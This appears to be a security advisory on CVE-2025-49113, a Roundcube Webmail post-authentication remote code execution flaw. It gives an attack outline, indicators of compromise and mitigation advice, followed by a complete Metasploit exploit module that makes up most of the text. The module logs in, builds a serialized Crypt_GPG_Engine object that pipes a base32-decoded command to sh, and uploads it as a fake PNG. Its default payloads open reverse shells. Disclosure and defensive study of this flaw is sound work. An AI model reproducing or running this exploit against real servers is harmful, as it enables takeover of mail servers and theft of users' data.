✅ Overview
A critical remote code execution vulnerability has been discovered in Roundcube Webmail versions up to 1.6.10 and 1.5.10, allowing authenticated users to execute arbitrary system commands via PHP Object Deserialization.
Exploit Type: Authenticated RCE
Attack Vector: Malicious _from
parameter passed to upload.php
CVSS Score: High (TBD)
Affected Versions: Roundcube 1.6.x < 1.6.11 and 1.5.x < 1.5.10
⚡ Vulnerability Details
The exploit leverages insecure handling of serialized PHP objects inside the _from
URL parameter within the endpoint:
program/actions/settings/upload.php
Because Roundcube fails to validate user-controlled _from
values, an attacker with valid credentials can craft a malicious payload that leads to arbitrary command execution on the server.
This exploit abuses the Crypt_GPG_Engine
class for executing shell commands via object properties during deserialization.
🔎 Technical Insights
The attack sequence is as follows:
- Login: Attacker authenticates with valid Roundcube credentials.
- Payload Preparation: A PHP object is crafted using the
Crypt_GPG_Engine
class. - Serialization: The payload is serialized and passed in the
_from
parameter. - Upload Trigger: A fake image is uploaded via the vulnerable
upload.php
endpoint. - Execution: During processing, PHP unserializes the object and executes arbitrary commands.
📊 Impact
- Full remote code execution as the web server user (usually
www-data
). - Possible file system access, web shell drop, or lateral movement.
- Applicable to shared hosting environments where Roundcube is hosted.
✉ Indicators of Compromise (IOC)
- Suspicious image uploads under Roundcube’s
/temp/
or/uploads/
directories. - Unexpected shell processes (
/bin/sh
,bash
) running under Apache or Nginx. - Logs with unusual
_from
parameters in GET/POST requests.
🚧 Mitigation
- Upgrade Immediately to Roundcube 1.6.11 or 1.5.10.
- Use application-level WAFs to block serialized payloads.
- Harden PHP environments: disable
unserialize()
where unnecessary. - Monitor logs for unusual
_from
requests or uploads.
⚖️ References
Proof of Concept (PoC)
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization',
'Description' => %q{
Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution
by authenticated users because the _from parameter in a URL is not validated
in program/actions/settings/upload.php, leading to PHP Object Deserialization.
An attacker can execute arbitrary system commands as the web server.
},
'Author' => [
'Maksim Rogov', # msf module
'Kirill Firsov', # disclosure and original exploit
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-49113'],
['URL', 'https://fearsoff.org/research/roundcube']
],
'DisclosureDate' => '2025-06-02',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
},
'Platform' => ['unix', 'linux'],
'Targets' => [
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
[
'Linux Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Type' => :nix_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
]
],
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('USERNAME', [true, 'Email User to login with', '' ]),
OptString.new('PASSWORD', [true, 'Password to login with', '' ]),
OptString.new('TARGETURI', [true, 'The URI of the Roundcube Application', '/' ]),
OptString.new('HOST', [false, 'The hostname of Roundcube server', ''])
]
)
end
class PhpPayloadBuilder
def initialize(command)
@encoded = Rex::Text.encode_base32(command)
@gpgconf = %(echo "#{@encoded}"|base32 -d|sh &#)
end
def build
len = @gpgconf.bytesize
%(|O:16:"Crypt_GPG_Engine":3:{s:8:"_process";b:0;s:8:"_gpgconf";s:#{len}:"#{@gpgconf}";s:8:"_homedir";s:0:"";};)
end
end
def fetch_login_page
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'keep_cookies' => true,
'vars_get' => { '_task' => 'login' }
)
fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
res
end
def check
res = fetch_login_page
unless res.body =~ /"rcversion"\s*:\s*(\d+)/
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract version number")
end
version = Rex::Version.new(Regexp.last_match(1).to_s)
print_good("Extracted version: #{version}")
if version.between?(Rex::Version.new(10100), Rex::Version.new(10509))
return CheckCode::Appears
elsif version.between?(Rex::Version.new(10600), Rex::Version.new(10610))
return CheckCode::Appears
end
CheckCode::Safe
end
def build_serialized_payload
print_status('Preparing payload...')
stager = case target['Type']
when :nix_cmd
payload.encoded
when :linux_dropper
generate_cmdstager.join(';')
else
fail_with(Failure::BadConfig, 'Unsupported target type')
end
serialized = PhpPayloadBuilder.new(stager).build.gsub('"', '\\"')
print_good('Payload successfully generated and serialized.')
serialized
end
def exploit
token = fetch_csrf_token
login(token)
payload_serialized = build_serialized_payload
upload_payload(payload_serialized)
end
def fetch_csrf_token
print_status('Fetching CSRF token...')
res = fetch_login_page
html = res.get_html_document
token_input = html.at('input[name="_token"]')
unless token_input
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract CSRF token")
end
token = token_input.attributes.fetch('value', nil)
if token.blank?
fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token is empty")
end
print_good("Extracted token: #{token}")
token
end
def login(token)
print_status('Attempting login...')
vars_post = {
'_token' => token,
'_task' => 'login',
'_action' => 'login',
'_url' => '_task=login',
'_user' => datastore['USERNAME'],
'_pass' => datastore['PASSWORD']
}
vars_post['_host'] = datastore['HOST'] if datastore['HOST']
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => vars_post,
'vars_get' => { '_task' => 'login' }
)
fail_with(Failure::Unreachable, "#{peer} - No response during login") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Login failed (code #{res.code})") unless res.code == 302
print_good('Login successful.')
end
def generate_from
options = [
'compose',
'reply',
'import',
'settings',
'folders',
'identity'
]
options.sample
end
def generate_id
random_data = SecureRandom.random_bytes(8)
timestamp = Time.now.to_f.to_s
Digest::MD5.hexdigest(random_data + timestamp)
end
def generate_uploadid
millis = (Time.now.to_f * 1000).to_i
"upload#{millis}"
end
def upload_payload(payload_filename)
print_status('Uploading malicious payload...')
# 1x1 transparent pixel image
png_data = Rex::Text.decode_base64('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==')
boundary = Rex::Text.rand_text_alphanumeric(8)
data = ''
data << "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"_file[]\"; filename=\"#{payload_filename}\"\r\n"
data << "Content-Type: image/png\r\n\r\n"
data << png_data
data << "\r\n--#{boundary}--\r\n"
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "?_task=settings&_remote=1&_from=edit-!#{generate_from}&_id=#{generate_id}&_uploadid=#{generate_uploadid}&_action=upload"),
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data
})
print_good('Exploit attempt complete. Check for session.')
end
end